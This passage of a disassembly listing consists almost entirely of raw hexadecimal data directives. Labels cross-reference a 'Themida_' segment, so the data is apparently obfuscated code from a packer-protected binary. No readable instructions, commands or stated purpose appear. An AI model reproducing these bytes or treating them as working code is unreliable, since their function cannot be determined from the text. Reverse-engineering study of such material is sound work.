0B95F7993h, 7, 3101B58Bh, 0C1830614h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 5F5DDB85h, 413953C5h, 0D93BF55Ah, 11C860Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0DA57D1C3h, 25CD9D31h, 8C660614h, 4DBD89D9h, 0F606141Bh dd 840F04C1h, 0DEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 1AC35545h, 0B32EBE29h, 0BD29069Fh, 6140F4Dh dd 2E4595FFh, 0F28B0614h, 13E860h, 3850000h, 7FA6BF5Eh dd 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0BD9D31E0h, 5806141Fh dd 10D28166h, 895B61D0h, 142E41BDh, 6AC32B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0D657C351h, 862BAC35h, 78802DC7h, 8343Dh, 4F860F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 3B8C352h, 8B106163h, 14223DB5h dd 2CE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0E4D73DC3h, 447A338Bh, 0C08B990Eh dd 2ADB58Bh, 0C38B0614h, 0B58BD88Bh, 6140BE1h, 53185C7h dd 1B510614h, 840F564Fh, 6, 2B1DB58Bh, 0C08B0614h, 3C5BD8Bh dd 0BD810614h, 6141AA5h, 7D0h, 3D850Fh, 890F0000h, 6, 22E5B58Bh dd 85FF0614h, 6141AA5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0EAC35040h, 0EF5841C7h, 205FD20Eh, 0D58D8927h dd 0FF061422h, 141AA5B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 90D17753h dd 8B604672h, 14307D8Dh, 13E806h, 18010000h, 0E1D41B14h dd 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0DF81667Fh, 615FA1E3h dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0A18952C3h, 0B58B2567h, 6142C91h dd 0A890F90h, 0F000000h, 489h, 0E2BE6600h, 0ADBD8B5Bh dd 8B061402h, 142EADBDh, 418D8906h, 8B061423h, 140361BDh dd 0D9D0106h, 29061414h, 14114D9Dh, 2DB58906h, 66061408h dd 0E97C0ABFh, 10h, 3FCC0419h, 1B568236h, 252F5B3Eh, 5A1EBDE5h dd 0EBE68166h, 31B58B05h, 0F906141Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 1BC35242h, 5B6F6265h, 538C860Eh dd 10D5BD8Bh, 0BD8B0614h, 614095Dh, 10E95Fh, 41A10000h dd 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6A1DE3h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0C5BD02C3h, 932F3949h, 89D585E0h, 143041B5h, 5BD2B06h dd 0FC061423h, 2E95BD2Bh, 8B660614h, 0BD9589F8h, 6A061412h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 4FCCC353h, 0D084CBD0h, 0DE681D6h, 0E91FE57Ah dd 0Bh, 9EEFA82Ah, 3F8876Ah, 0E9DAC823h, 0FFFFF80Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 20C35646h, 979F3011h, 9D9589B1h, 8906142Ah dd 1425B58Dh, 74BE6606h, 0DD9D3135h, 8B061414h, 0EABE66C1h dd 4EB33h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 89FBC355h, 142EC19Dh, 7E806h dd 0C4150000h, 0FF2D348Dh, 0A59589D7h, 5E061419h, 0BEDB58Bh dd 820F0614h, 6, 0B1D0D781h, 858D60C7h, 6140F99h, 1853150h dd 5F06140Fh, 21318589h, 66500614h, 489FE8Bh, 97BE6624h dd 0FC006A68h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0E90ED4C3h, 20B98D89h, 858D0614h dd 617EE8Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0F5C35545h, 0F19D01D3h, 83061420h, 6A05C0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0B09276C3h, 7E958h, 526E0000h, 75A310B1h, 68E0F30h dd 8B000000h, 142FA5B5h, 0FB8B9006h, 8B665250h, 0F905FF0h dd 6AF6BFh, 9D8BF960h, 61423E5h, 0E8006A61h, 0Fh, 622DE9B3h dd 0D12F8727h, 12AE5DF8h, 66434EE9h, 0FF5FF38Bh, 141A7195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 2942A032h, 8B666FD4h, 0FC9D8DF1h, 6A0617A8h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0AB7DC355h, 0D3FFA507h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 30C35040h, 6F3A2522h, 86B09EBFh dd 0AE948h, 0EF620000h, 3BC4F88h, 7EB79247h, 1695BD89h dd 85FF0614h, 614236Dh, 4820Fh, 0BE660000h, 6FE9F079h dd 0E8000009h, 0 dd 99ED815Dh, 6A0617EEh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 5DA2C351h, 426FB3C0h dd 66F589AEh, 0BD81F38Bh, 6141AA5h, 7D0h, 115860Fh, 81660000h dd 8B35B1C7h, 140E2D9Dh, 0E38106h, 89000001h, 140655B5h dd 0FDB0B06h, 5185h, 0FE8B6600h, 0ECCCBD83h, 0F000617h dd 884h, 69E900h, 0BF0F0000h, 0CC85C7F8h, 10617ECh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 4EC355h, 95B58B40h, 0E906142Ah, 33h, 1AC1B58Bh dd 85C70614h, 617ECCCh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BAC35747h dd 0A4F41CA7h, 8D2FC4FFh, 140E2D9Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 23E0C1ACh dd 9D09AC57h, 6140361h, 0CE8h, 9570F600h, 0C864287Bh, 9C6EA445h dd 8985293Ch, 5E06141Ah, 6860Fh, 0BD8B0000h, 6142121h dd 0FEFF2381h, 0CE81FFFFh, 5640F6E1h, 7E860h, 0E6300000h dd 7870FE1h, 39BD8901h, 5B06140Ch, 257D9D89h, 66610614h dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E93107C3h, 8, 4D60347Ah, 0F8645880h, 0F04C3F6h dd 8784h, 0B9666000h, 858B668Bh, 61422E5h, 4595FF61h, 6A06142Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 9122C352h, 1637410Ch, 0BE677D9Fh, 2A94B26Bh dd 0BE525090h, 436AE186h, 5250310Fh, 310F5250h, 310F585Ah dd 585A585Ah, 0CE950h, 40CC0000h, 52853746h, 310E8C16h dd 6A90AE8Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 537CC351h, 73830906h, 52EE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0A8262CFBh, 2D285ABBh, 2615B58Bh, 0B00614h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h dd 8E9h, 0CF26AD00h, 5B9EEE38h, 6A70E64Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BC7C356h dd 1430E1B5h, 6880F06h, 29000000h, 143161B5h, 0E971E406h dd 12h, 8184DA46h, 8672D060h, 29E138F8h, 93EDC6C9h, 958952BEh dd 6140251h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FBCC357h, 68Bh, 85BD0B00h dd 0BA061410h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 79C35646h, 8B74D480h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BE666F9Bh dd 0E8C1927Fh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 160EBD1h, 14347D9Dh, 0E2F76606h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9FC35747h dd 0BE8h, 7591BD00h, 88BF6076h, 0CD90123Fh, 6E8h, 0E7F68400h dd 0B5A2D11h, 140319B5h, 815F5E06h, 4C2C2CFh, 6AD82B41h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 1EF5C355h, 459A2E82h, 0F78B667Eh, 52506093h dd 310F6160h, 13E9h, 81826300h, 22255AF6h, 0EE4B1908h dd 411CC24Fh, 5482FC27h, 0B966585Ah, 50611914h, 6A93F78Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 24F7C355h, 7B6EDDE1h, 0CE815156h, 50DF17F1h dd 0B5FF5E5Fh, 6141AA5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0AC35343h, 0BE9F9ECh, 11000000h, 8575461Eh dd 0A8383968h, 12E935EDh, 0FB000000h, 0FD111786h, 0A43F4A8Bh dd 0FD62118h, 0D1D8DA22h, 6995FF53h, 81061411h, 374CD9F6h dd 6A00B068h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B5F3C356h, 0BE660FE9h, 70E660FFh dd 61148DBEh, 8B71E40Eh, 14100DB5h, 0F613C06h, 29A83h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 7E651F65h, 51887155h, 0B70F60F1h, 0EAF681DEh dd 611FE8F4h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 92C1C350h, 6BAA1h dd 85890000h, 6142215h, 6AC38Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0C2E5E8C3h, 2AA6C04Ah dd 0B58B0E58h, 6140081h, 6A04E8C1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9EA0C352h dd 669CB995h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 9D89FDC3h, 61409F9h, 0BD0BD82Bh dd 6141A31h, 0E898589h, 0F9580614h, 880FD82Bh, 1B3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D1C35242h, 2B0D9529h dd 7B90614h, 66000000h, 0C183FB8Bh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89268BC9h dd 142BD5BDh, 0B5BD8B06h, 3B061409h, 54860FD9h, 0F000001h dd 685h, 9D950100h, 66061431h, 5E9D98Ch, 0FF000000h, 0CD36B090h dd 0C1F65F51h, 0F840F04h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B7B8C350h dd 890DD204h, 140B798Dh, 95FFF806h, 6142E45h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 0D3F37D93h dd 0BE8601Ch, 48000000h, 21F5C3A4h, 5152CEC9h, 9D895AFBh dd 61416DDh, 6A5B5Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD8BAFC3h, 61409A9h, 6AC32BF5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0B6DDC350h, 2E1F48A7h, 8343Dh, 57860F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 3928C353h, 0B4908378h, 0E95EAE91h dd 4Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h dd 0C0C35040h, 13F8F7DDh, 8E9C5h, 0B9D60000h, 945FA69Fh dd 0C08BA712h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0B6C35545h, 8BDC37D7h, 6AD88BC3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FAAC356h dd 684h, 0ADBD2900h, 0C706142Ah, 141AC985h, 2B89D506h dd 53006A10h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0D2E04AE2h, 8E19A5D1h, 0BD895B8Ah, 6140FBDh dd 8D89C08Bh, 61406C9h, 1AA5BD81h, 7D00614h, 850F0000h dd 53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h dd 0EC35545h, 609B7B9Eh, 8948C480h, 141685BDh, 0B70F6106h dd 0A585FFFFh, 6A06141Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0BB71C352h, 0FF44D79Dh dd 141AA5B5h, 0D7816606h, 95FF68FDh, 6141169h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FC35646h, 0D2FA7095h dd 5009B593h, 55BD01F2h, 90061402h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0DBC35141h, 0B36630C2h, 6A6735h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 816679C3h, 0BF80C9CEh, 5E520F7Dh, 8BF0B70Fh, 0F08B66F0h dd 67DBD8Bh, 56FC0614h, 8B525FF8h, 1414C5BDh, 8D895F06h dd 6142BBDh, 0F890Fh dd 89600000h, 1431958Dh, 820FFC06h, 0 dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1354B788h, 0FE8B49A1h, 1FB5B58Bh, 6A0614h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 2E7163C3h, 7DBD334Fh, 6606141Bh, 664F7FBFh, 9E9F88Bh dd 0EE000000h, 0E39645C2h, 405D2238h, 6AF28Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0EAF940C3h, 0F6A9E9D7h, 830FFFFFh, 12h, 68D0Fh, 0BD8B0000h dd 6142F7Dh db 81h, 0EEh, 89h byte_5883DF db 7Dh ; DATA XREF: Themida_:00549360o dd 0C18B677Dh, 1129BD2Bh, 4EB0614h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A8C35343h dd 6093AFC2h, 0B95B589h, 89600614h, 1435018Dh, 0F616106h dd 0C82h, 7E900h, 35120000h, 72F01BC0h, 57006AE6h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8F0F60h, 8D000000h, 140F9985h, 890F5006h, 0 dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 2A59C357h, 0A9B58B81h, 6A061414h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 6AFA8BC4h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0CEAE810Ah dd 858D32E9h, 617F9FAh, 0FD7DE681h, 0C08319A2h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 196BF660h, 8C0FAB64h, 6, 11A58509h, 60900614h, 0F525051h dd 5A585A31h, 6A905061h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0E544C351h, 73F68157h dd 5E1284BEh, 0B49B58Bh, 6A0614h, 0F3D8589h, 6A0614h, 306DBD89h dd 95FF0614h, 6141A71h, 5A1BD8Bh, 9D8D0614h, 617A8FCh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h dd 83468421h, 21F04046h, 4EF8166h, 0FD3FF41h, 1A8Ah, 14890F00h dd 0E8000000h, 0Eh, 96A80AFh, 9948D15Fh, 5778ADC5h, 0FF5FC32Bh dd 14236D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0CBAD56BCh, 6479B583h, 86BF660Bh dd 88AE900h db 2 dup(0) word_5885DE dw 0E8h ; DATA XREF: Themida_:00549B1Co ; Themida_:00549D84o dd 5D000000h, 0FA04ED81h, 0BF660617h, 9E9B1B9h, 0DB000000h dd 6829AE22h, 96EF108Dh, 1AA5BD81h, 7D00614h, 860F0000h dd 133h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0FCC35141h, 0A86DC4F5h, 9D8B29C8h, 6142A05h, 7E9h dd 0E4C4A600h, 0C7203F66h, 100E381h, 0BE660000h, 0DB0B7063h dd 8C850Fh, 8B660000h, 0DBD83F9h, 617F8h, 41840Fh, 14E80000h dd 39000000h, 8288F25h, 94CC8B7Fh, 6D005109h, 3599186Ch dd 0F76E705h, 0E95FFFB7h, 67h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 62C35646h, 0C7671035h, 17F80D85h dd 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0BAA35F4Bh, 9F55242Bh, 15E9A2h, 0F8510000h dd 8B66515Fh, 85C75EF7h, 617F80Dh, 0 dd 8DFABF0Fh, 142A059Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 2280375Bh, 0D1195ED5h dd 0D5B58BA2h, 8106141Fh, 0FFFEFF23h, 12E8FFh, 52AE0000h dd 1E89F9F1h, 0B60FAA4Eh, 0ECAA2D61h, 0A8F05199h, 2F65B529h dd 665F0614h, 8D29DB8Ch, 6142F35h, 0F04C3F6h, 7784h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0A2180F2Ch, 0FFC77A8Ch, 142E4595h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 7482DCBBh, 0D98D01E3h, 1061404h, 1402498Dh, 34BE9006h dd 50213B55h, 7E8h, 0FCC62600h, 0DFAB1533h, 5E525250h dd 585A310Fh, 0B589905Fh, 6142EA1h, 481E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0F1C0AB28h, 6890FFFh, 29000000h, 141C258Dh, 0F00B006h dd 70E6F2BFh, 0AE9h, 0F7AE2800h, 3A247A13h, 0E483B848h dd 56006A71h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0B6800B92h, 475B501h, 0B60F0614h, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 554D1FFDh, 9E72580Eh, 6880Fh, 0BD230000h, 6141631h dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0EB8B9C2Bh, 29FC60A2h, 1408DD95h dd 0C38B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0EFC35747h, 66988F15h, 0E8C1F78Bh, 6890F04h, 2B000000h dd 1425A1BDh, 0E2F76606h, 24058D89h, 0D82B0614h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 21C35242h, 0B45DAEAEh dd 0BC24248Ch, 6890Fh, 0B5890000h, 6143161h, 14E950h, 0F1450000h dd 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h, 1C89DC4Ch dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 2F5534F5h, 2B0981BFh, 1406BDBDh, 0A5B5FF06h dd 8B06141Ah, 14060DB5h, 6995FF06h, 6A061411h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3DDFC351h, 2509BD8Bh, 0B00614h, 0E6F0BF0Fh, 0FA8B6670h dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0FFEA51C3h, 3CC989CAh, 9B830F61h, 6A000002h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0B62DC355h, 0F0232BF7h, 2AAC7E0Ah, 6AD8B60Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0E6CFC353h, 5E856h, 88B50000h, 5F4B2E35h dd 6BAh, 199D2900h, 8B06142Eh, 3E3BFC3h, 0E8C17AD9h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 4D860154h, 1371B50Bh, 0F7660614h, 55B529E2h, 2B061413h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 2D1E06CEh, 3723BF66h, 6A58F9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D82B32C3h dd 1BC880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0F60124C3h, 0B93454DAh, 7, 3071B58Bh dd 0C1830614h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0AE71E3C5h, 0BD89687Eh dd 614090Dh, 860FD93Bh, 15Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 71C35343h, 5567911Fh, 95893A70h dd 6140369h, 0B175BF66h, 89D98C66h, 14137195h, 4C1F606h dd 118840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0DD645BC3h, 81788433h, 187334D6h dd 4595FF74h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8933C351h, 1406AD8Dh dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0F7CA3C3h, 6AC32BE8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 91FAC350h dd 0D224874h, 0A9266CBFh, 14E843h, 72180000h, 4CCB185Eh dd 0FF8FB20Ah, 12E4BD9h, 0F7E65ED8h, 0BD33F65Bh, 61404D1h dd 8343D5Eh, 860F0000h, 56h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 8DC35545h, 25083EF6h, 2956A8E8h dd 140E858Dh, 2FE95E06h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60B0C351h dd 89DED080h, 14116D8Dh, 0C08B6106h, 3FF6D681h, 0C38B771Bh dd 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 1CD428C3h, 0C7FB5F93h, 140E2D85h, 7EB39706h dd 51006A3Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0E19C0929h, 0C06AF1E5h, 781B50Bh, 0C08B0614h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 94C35646h dd 0A1B0B1F2h, 38E64948h, 0A5BD814Fh, 0D006141Ah, 0F000007h dd 3785h, 0FF5E5100h, 141AA585h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CE924h, 0B07F0000h dd 19E744Fh, 9C788CA8h, 0F18B4C06h, 1AA5B5FFh, 830F0614h dd 6, 198DBD29h, 95FF0614h, 6141169h, 294D9D31h, 6A900614h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 59A3C351h, 108A0F45h, 60000000h, 810Fh, 0B30000h dd 0D8D2961h, 0F061423h, 318Fh, 6880F00h, 8B000000h, 141471BDh dd 14E806h, 0E45C0000h, 9D29BDBEh, 6BDD0CCDh, 560EAB3Eh dd 5A68503Fh, 8166D467h, 0F98EEC6h, 80h, 0F78B5E00h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 86C35545h, 246DBD23h dd 0B58B0614h, 614234Dh, 0CF5B589h, 6A0614h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6DA388C3h dd 664442DDh, 89EB8EBEh, 140CB5BDh, 0F1B52306h, 8B061402h dd 1423A1B5h, 6AFB8B06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A28DC350h, 0C1A11B6Fh dd 9DBD8B83h, 8B06140Eh, 142B45B5h, 0E7816606h, 9FE9270Ch dd 6AFFFFF7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B7A5C350h, 0FD75EEBh, 0BD8BF21Dh dd 6143225h, 0F18BC18Bh, 4EBh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0F0AA3C3h dd 1AE8A716h, 2850F40h, 8B000000h, 0E98589F0h, 8D06141Bh dd 140F9985h, 3EBF6606h, 5E89072h, 78000000h, 0A63430E0h dd 505EF28Bh, 8B0Fh, 6A900000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 62A2C356h, 0CA38BB56h dd 6A6DD7FCh dd 0DD858900h, 6A06141Ah, 799D3100h, 8D061404h, 18044B85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 15520AECh, 0A9934614h, 0BE8h, 4B26A100h dd 9A64423Dh, 0A934A9B3h, 2EC19D09h, 335F0614h, 141981B5h dd 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 5FC35343h, 50F28B90h, 0CE9h, 0C38C6100h, 0A32B775Dh dd 36F75BA6h, 6A904Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0BAC35141h, 0C63A4243h, 89FCD598h, 1404D185h dd 8B006A06h, 7195FFF0h, 6A06141Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 42D5C353h dd 451DC80Ch, 8D066027h, 17A8FC9Dh, 3870F06h, 66000000h dd 0D3FFF38Bh, 1C11BD8Bh, 85FF0614h, 614236Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h, 866BC567h dd 0E86F1607h, 14h, 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h dd 0A8E50E98h, 0BFDE8166h, 0EAE95FC2h, 0E8000007h, 0 dd 55ED815Dh, 6A061804h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 2CD0C353h, 0CBE6625h dd 6850FDDh, 81000000h, 855AE7E6h, 0A5BD8166h, 0D006141Ah dd 0F000007h, 12186h, 2D852900h, 89061416h, 1413A5BDh dd 0B59D8B06h, 6A061420h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 40C2C352h, 0BD8B5F1Ch dd 6140835h, 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 850F9DC3h, 6, 0FDBD0Bh dd 0DB0B0614h, 8E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0E3C92CC3h, 0FC98D29h dd 0BD830614h, 618028Fh, 2A840F00h, 66000000h, 0E928CDBEh dd 6Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 0E5C35141h, 61F1EA4Bh, 8F85C756h, 1061802h, 66000000h dd 9390D781h, 35E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0D513C852h, 28F85C7h dd 618h, 66600000h, 54B1E081h, 0AD31EBBFh, 9D8D617Dh, 61420B5h dd 3D37BF66h, 0FEFF2381h, 8C66FFFFh, 0DE8166DBh, 0C3F65E2Eh dd 66840F04h, 0BF000000h, 3EB92200h, 2E4595FFh, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D3E278C3h, 1289C5FDh, 1C119589h, 66900614h, 502C52BFh dd 6E960h, 90C30000h, 33057974h, 9E85250h, 50000000h, 72DACB7h dd 7B818107h, 66310F5Ah, 5AA6A7B8h, 33906158h, 14090DB5h dd 41AE906h, 0D6810000h, 4EB74469h, 118F0Fh, 5E80000h dd 35000000h, 83FE8D16h, 789BD2Bh, 0B05E0614h, 9E95000h dd 37000000h, 7AAF5353h, 208AA5B8h, 2970E65Fh, 1424F58Dh dd 0E4FE8B06h, 0FEBF0F71h, 6AD8B60Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1A9CC351h dd 0A74375CCh, 0C9B5290Fh, 0BA061412h, 6, 2A15BD01h, 0C38B0614h dd 22D59D09h, 0E8C10614h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0B897909Ch dd 9E858h, 19A30000h, 0CC1FF6ECh, 29A60A48h, 141C998Dh dd 0F7665E06h, 56006AE2h, 3E8h, 